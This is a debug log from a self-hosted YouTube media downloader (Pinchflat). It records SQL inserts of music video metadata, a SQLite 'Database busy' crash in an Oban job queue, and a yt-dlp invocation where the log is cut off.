db=329.7ms idle=158.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by DistroKid\n\nWitch · TotalDeadCenter\n\nBinary Insanity\n\n℗ TDC\n\nReleased on: 2023-07-10\n\nAuto-generated by YouTube.", "Witch", "f051a636-32a0-4090-b899-5057737251c3", false, "BZUtiO50IQ8", 183, false, "https://www.youtube.com/watch?v=BZUtiO50IQ8", 32, "/downloads/Grift/Grift/2023-07-09Witch[BZUtiO50IQ8].m4a", false, false, 4, [], 3, ~U[2023-07-09 10:04:45Z], ~U[2026-07-24 02:21:39Z], ~U[2026-07-24 02:21:39Z], "Provided to YouTube by DistroKid\n\nWitch · TotalDeadCenter\n\nBinary Insanity\n\n℗ TDC\n\nReleased on: 2023-07-10\n\nAuto-generated by YouTube.", "Witch", "BZUtiO50IQ8", 183, false, "https://www.youtube.com/watch?v=BZUtiO50IQ8", "/downloads/Grift/Grift/2023-07-09Witch[BZUtiO50IQ8].m4a", false, 4, ~U[2023-07-09 10:04:45Z]] 22:21:39.515 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=331.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:39.516 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=332.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-09 10:03:48Z], 4] 22:21:39.617 [debug] QUERY OK source="media_items" db=100.0ms idle=332.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by DistroKid\n\nMotherboard · TotalDeadCenter\n\nBinary Insanity\n\n℗ TDC\n\nReleased on: 2023-07-10\n\nAuto-generated by YouTube.", "Motherboard", "9a939f78-fba3-45e1-8257-4beac2b01edf", false, "oB0Zh9mDAqk", 226, false, "https://www.youtube.com/watch?v=oB0Zh9mDAqk", 33, "/downloads/Grift/Grift/2023-07-09Motherboard[oB0Zh9mDAqk].m4a", false, false, 4, [], 3, ~U[2023-07-09 10:03:48Z], ~U[2026-07-24 02:21:39Z], ~U[2026-07-24 02:21:39Z], "Provided to YouTube by DistroKid\n\nMotherboard · TotalDeadCenter\n\nBinary Insanity\n\n℗ TDC\n\nReleased on: 2023-07-10\n\nAuto-generated by YouTube.", "Motherboard", "oB0Zh9mDAqk", 226, false, "https://www.youtube.com/watch?v=oB0Zh9mDAqk", "/downloads/Grift/Grift/2023-07-09Motherboard[oB0Zh9mDAqk].m4a", false, 4, ~U[2023-07-09 10:03:48Z]] 22:21:39.617 [debug] QUERY OK source="sources" db=0.2ms idle=102.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:39.618 [debug] QUERY OK source="media_items" db=0.1ms idle=101.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-09 10:03:35Z], 4] 22:21:39.781 [debug] QUERY OK source="media_items" db=163.0ms idle=1.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by DistroKid\n\nRed Room · TotalDeadCenter\n\nBinary Insanity\n\n℗ TDC\n\nReleased on: 2023-07-10\n\nAuto-generated by YouTube.", "Red Room", "47dcf3da-cbc3-4cf3-83c4-6f65dfed84f5", false, "2Y1aSL5g0Po", 194, false, "https://www.youtube.com/watch?v=2Y1aSL5g0Po", 34, "/downloads/Grift/Grift/2023-07-09Red Room[2Y1aSL5g0Po].m4a", false, false, 4, [], 3, ~U[2023-07-09 10:03:35Z], ~U[2026-07-24 02:21:39Z], ~U[2026-07-24 02:21:39Z], "Provided to YouTube by DistroKid\n\nRed Room · TotalDeadCenter\n\nBinary Insanity\n\n℗ TDC\n\nReleased on: 2023-07-10\n\nAuto-generated by YouTube.", "Red Room", "2Y1aSL5g0Po", 194, false, "https://www.youtube.com/watch?v=2Y1aSL5g0Po", "/downloads/Grift/Grift/2023-07-09Red Room[2Y1aSL5g0Po].m4a", false, 4, ~U[2023-07-09 10:03:35Z]] 22:21:39.782 [debug] QUERY OK source="sources" db=0.1ms idle=164.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:39.782 [debug] QUERY OK source="media_items" db=0.1ms idle=164.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-23 13:00:02Z], 4] 22:21:39.950 [debug] QUERY OK source="media_items" db=167.9ms idle=1.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["𝗟𝗜𝗩𝗘 𝗖𝗢𝗠𝗣𝗜𝗟𝗔𝗧𝗜𝗢𝗡\nshows featured: 5\nLIVE AT THE 02 ARENA\nSEIKIMA-II vs BABYMETAL - ENCOUNTER - 「WOWOW」\nSEIKIMA-II vs BABYMETAL - IMPACT -「WOWOW」\nLIVE AT INTUIT DOME「WOWOW」\nLEGEND METAL FORTH「WOWOW」\n\naudio\nLEGEND METAL FORTH「WOWOW」", "BABYMETAL // HEADBANGER!! 「ヘドバンギャー!!」【15th Night Ver.】", "a773d0bb-595c-4a3d-b43c-5be2bd8bf817", false, "zvZFMe3Y_hw", 321, false, "https://www.youtube.com/watch?v=zvZFMe3Y_hw", 35, "/downloads/Grift/Grift/2026-05-23BABYMETAL ⧸⧸ HEADBANGER!! 「ヘドバンギャー!!」【15th Night Ver.】[zvZFMe3Y_hw].m4a", false, false, 4, [], 1, ~U[2026-05-23 13:00:02Z], ~U[2026-07-24 02:21:39Z], ~U[2026-07-24 02:21:39Z], "𝗟𝗜𝗩𝗘 𝗖𝗢𝗠𝗣𝗜𝗟𝗔𝗧𝗜𝗢𝗡\nshows featured: 5\nLIVE AT THE 02 ARENA\nSEIKIMA-II vs BABYMETAL - ENCOUNTER - 「WOWOW」\nSEIKIMA-II vs BABYMETAL - IMPACT -「WOWOW」\nLIVE AT INTUIT DOME「WOWOW」\nLEGEND METAL FORTH「WOWOW」\n\naudio\nLEGEND METAL FORTH「WOWOW」", "BABYMETAL // HEADBANGER!! 「ヘドバンギャー!!」【15th Night Ver.】", "zvZFMe3Y_hw", 321, false, "https://www.youtube.com/watch?v=zvZFMe3Y_hw", "/downloads/Grift/Grift/2026-05-23BABYMETAL ⧸⧸ HEADBANGER!! 「ヘドバンギャー!!」【15th Night Ver.】[zvZFMe3Y_hw].m4a", false, 4, ~U[2026-05-23 13:00:02Z]] 22:21:39.951 [debug] QUERY OK source="sources" db=0.1ms idle=168.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:39.951 [debug] QUERY OK source="media_items" db=0.1ms idle=168.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-03 14:00:32Z], 4] 22:21:40.110 [debug] QUERY OK source="media_items" db=158.7ms idle=1.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Stream \"from me to u (feat. Poppy) (LIVE FROM THE O2)” now: https://Babymetal.lnk.to/FMTULIVE\nCHECK OUT THE NEW ALBUM, METAL FORTH: https://babymetal.lnk.to/MetalForthID\nLearn more: https://metalforth.com/\n\n日本人グループ史上初の単独公演となったロンドン・O2アリーナのライブ映像作品 『BABYMETAL - LIVE AT THE O2 ARENA』の発売が決定!!\nタイトル:BABYMETAL - LIVE AT THE O2 ARENA\n発売日:2025年12月19日(金)\n\n【『BABYMETAL - LIVE AT THE O2 ARENA』主要販売サイト】\nhttps://lnk.to/LIVE_AT_THE_O2_ARENA\n\n▶Blu-ray & DVD\n①完全生産限定盤 Blu-ray アナログジャケット仕様\n価格:9,900円(税込) 品番:BMWR-1001\n②通常盤 Blu-ray\n価格:7,700円(税込) 品番:BMWR-1002\n③通常盤 DVD\n価格:6,600円(税込) 品番:BMWR-1003\n\n▶︎THE ONE 限定盤\nスペシャルパッケージ Blu-ray+ライブ2CD+写真集64P予定\n価格:22,000円(税込) 品番:ONEB-0045\n \n★https://babymetal.lnk.to/EmailSignUp\n★https://babymetal.com\n★ Facebook: https://www.facebook.com/BABYMETAL.jp/\n★ Instagram: https://www.instagram.com/babymetal_official/\n★ X: https://x.com/BABYMETAL_JAPAN\n★ TikTok: https://www.tiktok.com/@babymetal_japan \n\nProducer: Takashi Sugai(CROMANYON)\nGeneral Producer: KOBAMETAL", "BABYMETAL - from me to u (feat. Poppy) (LIVE FROM THE O2)", "74e44390-ce78-4179-a928-ab3cb0cbb1d4", false, "EpXtD6dD0MU", 222, false, "https://www.youtube.com/watch?v=EpXtD6dD0MU", 36, "/downloads/Grift/Grift/2025-10-03BABYMETAL - from me to u (feat. Poppy) (LIVE FROM THE O2)[EpXtD6dD0MU].m4a", false, false, 4, [], 1, ~U[2025-10-03 14:00:32Z], ~U[2026-07-24 02:21:39Z], ~U[2026-07-24 02:21:39Z], "Stream \"from me to u (feat. Poppy) (LIVE FROM THE O2)” now: https://Babymetal.lnk.to/FMTULIVE\nCHECK OUT THE NEW ALBUM, METAL FORTH: https://babymetal.lnk.to/MetalForthID\nLearn more: https://metalforth.com/\n\n日本人グループ史上初の単独公演となったロンドン・O2アリーナのライブ映像作品 『BABYMETAL - LIVE AT THE O2 ARENA』の発売が決定!!\nタイトル:BABYMETAL - LIVE AT THE O2 ARENA\n発売日:2025年12月19日(金)\n\n【『BABYMETAL - LIVE AT THE O2 ARENA』主要販売サイト】\nhttps://lnk.to/LIVE_AT_THE_O2_ARENA\n\n▶Blu-ray & DVD\n①完全生産限定盤 Blu-ray アナログジャケット仕様\n価格:9,900円(税込) 品番:BMWR-1001\n②通常盤 Blu-ray\n価格:7,700円(税込) 品番:BMWR-1002\n③通常盤 DVD\n価格:6,600円(税込) 品番:BMWR-1003\n\n▶︎THE ONE 限定盤\nスペシャルパッケージ Blu-ray+ライブ2CD+写真集64P予定\n価格:22,000円(税込) 品番:ONEB-0045\n \n★https://babymetal.lnk.to/EmailSignUp\n★https://babymetal.com\n★ Facebook: https://www.facebook.com/BABYMETAL.jp/\n★ Instagram: https://www.instagram.com/babymetal_official/\n★ X: https://x.com/BABYMETAL_JAPAN\n★ TikTok: https://www.tiktok.com/@babymetal_japan \n\nProducer: Takashi Sugai(CROMANYON)\nGeneral Producer: KOBAMETAL", "BABYMETAL - from me to u (feat. Poppy) (LIVE FROM THE O2)", "EpXtD6dD0MU", 222, false, "https://www.youtube.com/watch?v=EpXtD6dD0MU", "/downloads/Grift/Grift/2025-10-03BABYMETAL - from me to u (feat. Poppy) (LIVE FROM THE O2)[EpXtD6dD0MU].m4a", false, 4, ~U[2025-10-03 14:00:32Z]] 22:21:40.111 [debug] QUERY OK source="sources" db=0.2ms idle=159.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:40.111 [debug] QUERY OK source="media_items" db=0.1ms idle=159.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2013-06-04 15:15:24Z], 4] 22:21:40.677 [error] GenServer {Oban.Registry, {Oban, {:producer, "media_collection_indexing"}}} terminating ** (Exqlite.Error) Database busy UPDATE "oban_jobs" AS o0 SET "state" = ?, "attempted_at" = ?, "attempted_by" = ?, "attempt" = "attempt" + ? WHERE (o0."id" IN (SELECT so0."id" FROM "oban_jobs" AS so0 WHERE (so0."state" = 'available') AND (so0."queue" = ?) AND (so0."attempt" < so0."max_attempts") ORDER BY so0."priority", so0."scheduled_at", so0."id" LIMIT ?)) RETURNING "id", "state", "queue", "worker", "args", "meta", "tags", "errors", "attempt", "attempted_by", "max_attempts", "priority", "attempted_at", "cancelled_at", "completed_at", "discarded_at", "inserted_at", "scheduled_at" (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1096: Ecto.Adapters.SQL.raise_sql_call_error/1 (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6 (ecto 3.12.5) lib/ecto/repo/queryable.ex:232: Ecto.Repo.Queryable.execute/4 (oban 2.19.4) lib/oban/engines/lite.ex:110: Oban.Engines.Lite.fetch_jobs/3 (oban 2.19.4) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3 (oban 2.19.4) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4 (telemetry 1.3.0) /app/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3 (oban 2.19.4) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1 Last message: :dispatch State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Lite, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "pinchflat@pinchflat-69fd9f9b5b-rv7vs", notifier: {Oban.Notifiers.PG, []}, peer: {Oban.Peers.Isolated, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"3 2 * * *", Pinchflat.YtDlp.UpdateWorker}, {"0 1 * * *", Pinchflat.Downloading.MediaRetentionWorker}, {"0 2 * * *", Pinchflat.Downloading.MediaQualityUpgradeWorker}]]}, {Oban.Plugins.Pruner, [max_age: 2592000]}], prefix: false, queues: [default: [limit: 10], fast_indexing: [limit: 2], media_collection_indexing: [limit: 2], media_fetching: [limit: 2], remote_metadata: [limit: 2], local_data: [limit: 8]], repo: Pinchflat.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "media_collection_indexing"}}}}, meta: %{name: Oban, node: "pinchflat@pinchflat-69fd9f9b5b-rv7vs", queue: "media_collection_indexing", started_at: ~U[2026-07-24 02:03:51.767275Z], limit: 2, uuid: "d26b946b-51af-4e0b-9815-57903091e7b0", updated_at: ~U[2026-07-24 02:21:22.273476Z], paused: false, refresh_interval: 30000, shutdown_started_at: nil}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "media_collection_indexing"}}}}, dispatch_timer: #Reference<0.304696451.716439553.90445>, refresh_timer: #Reference<0.304696451.716439553.87553>, dispatch_cooldown: 5, running: %{#Reference<0.0.334467.304696451.716505089.77170> => {#PID<0.2932.0>, %Oban.Queue.Executor{ack: true, conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Lite, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "pinchflat@pinchflat-69fd9f9b5b-rv7vs", notifier: {Oban.Notifiers.PG, []}, peer: {Oban.Peers.Isolated, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"3 2 * * *", Pinchflat.YtDlp.UpdateWorker}, {"0 1 * * *", Pinchflat.Downloading.MediaRetentionWorker}, {"0 2 * * *", Pinchflat.Downloading.MediaQualityUpgradeWorker}]]}, {Oban.Plugins.Pruner, [max_age: 2592000]}], prefix: false, queues: [default: [limit: 10], fast_indexing: [limit: 2], media_collection_indexing: [limit: 2], media_fetching: [limit: 2], remote_metadata: [limit: 2], local_data: [limit: 8]], repo: Pinchflat.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, error: nil, job: %Oban.Job{__meta__: #Ecto.Schema.Metadata<:loaded, "oban_jobs">, id: 192, state: "executing", queue: "media_collection_indexing", worker: "Pinchflat.SlowIndexing.MediaCollectionIndexingWorker", args: %{"force" => true, "id" => 4}, meta: %{}, tags: ["media_source", "media_collection_indexing", "show_in_dashboard"], errors: [], attempt: 1, attempted_by: ["pinchflat@pinchflat-69fd9f9b5b-rv7vs"], max_attempts: 20, priority: 0, attempted_at: ~U[2026-07-24 02:20:35.724692Z], cancelled_at: nil, completed_at: nil, discarded_at: nil, inserted_at: ~U[2026-07-24 02:20:11.000000Z], scheduled_at: ~U[2026-07-24 02:20:09.020370Z], conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Lite, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "pinchflat@pinchflat-69fd9f9b5b-rv7vs", notifier: {Oban.Notifiers.PG, []}, peer: {Oban.Peers.Isolated, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{...}, ...]]}, {Oban.Plugins.Pruner, [max_age: 2592000]}], prefix: false, queues: [default: [limit: 10], fast_indexing: [limit: 2], media_collection_indexing: [...], ...], repo: Pinchflat.Repo, shutdown_grace_period: 15000, stage_interval: 1000, ...}, conflict?: false, replace: nil, unique: nil, unsaved_error: nil}, meta: %{args: %{"force" => true, "id" => 4}, id: 192, max_attempts: 20, queue: "media_collection_indexing", worker: "Pinchflat.SlowIndexing.MediaCollectionIndexingWorker", prefix: false, conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Lite, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "pinchflat@pinchflat-69fd9f9b5b-rv7vs", notifier: {Oban.Notifiers.PG, []}, peer: {Oban.Peers.Isolated, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"3 2 * * *", Pinchflat.YtDlp.UpdateWorker}, {"0 1 * * *", Pinchflat.Downloading.MediaRetentionWorker}, {"0 2 * * *", Pinchflat.Downloading.MediaQualityUpgradeWorker}]]}, {Oban.Plugins.Pruner, [max_age: 2592000]}], prefix: false, queues: [default: [limit: 10], fast_indexing: [limit: 2], media_collection_indexing: [limit: 2], media_fetching: [limit: 2], remote_metadata: [limit: 2], local_data: [limit: 8]], repo: Pinchflat.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, attempt: 1, tags: ["media_source", "media_collection_indexing", "show_in_dashboard"], job: %Oban.Job{__meta__: #Ecto.Schema.Metadata<:loaded, "oban_jobs">, id: 192, state: "executing", queue: "media_collection_indexing", worker: "Pinchflat.SlowIndexing.MediaCollectionIndexingWorker", args: %{"force" => true, "id" => 4}, meta: %{}, tags: ["media_source", "media_collection_indexing", "show_in_dashboard"], errors: [], attempt: 1, attempted_by: ["pinchflat@pinchflat-69fd9f9b5b-rv7vs"], max_attempts: 20, priority: 0, attempted_at: ~U[2026-07-24 02:20:35.724692Z], cancelled_at: nil, completed_at: nil, discarded_at: nil, inserted_at: ~U[2026-07-24 02:20:11.000000Z], scheduled_at: ~U[2026-07-24 02:20:09.020370Z], conf: nil, conflict?: false, replace: nil, unique: nil, unsaved_error: nil}}, pid: #PID<0.2613.0>, result: nil, snooze: nil, start_mono: -576459736405210310, start_time: 1784859635877452505, stop_mono: nil, timer: nil, worker: nil, safe: true, duration: 0, kind: :error, queue_time: 0, stacktrace: [], state: :unset}}}} 22:21:40.681 [info] Exqlite.Connection (#PID<0.2319.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.2932.0> exited 22:21:40.953 [debug] Exqlite: loading extension `/app/lib/pinchflat-2025.9.26/priv/repo/extensions/sqlean-linux-x86/sqlean` 22:21:47.285 [info] {"source":"oban","duration":534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:21:58.865 [info] {"args":{"force":true,"id":1},"id":201,"meta":{},"system_time":1784859718865239317,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":3,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 22:21:58.865 [debug] QUERY OK source="sources" db=0.2ms idle=1145.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:21:58.866 [debug] QUERY OK source="settings" db=0.0ms idle=188.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:58.866 [debug] QUERY OK source="media_items" db=0.1ms idle=188.5ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 22:21:58.866 [debug] QUERY OK source="media_items" db=0.1ms idle=89.6ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 22:21:58.866 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:58.867 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:58.867 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 22:21:58.867 [debug] Current batch of media processed. Will check again in 1000ms 22:21:58.867 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:58.867 [debug] QUERY OK source="settings" db=0.1ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:58.868 [debug] QUERY OK source="settings" db=0.1ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:58.868 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: 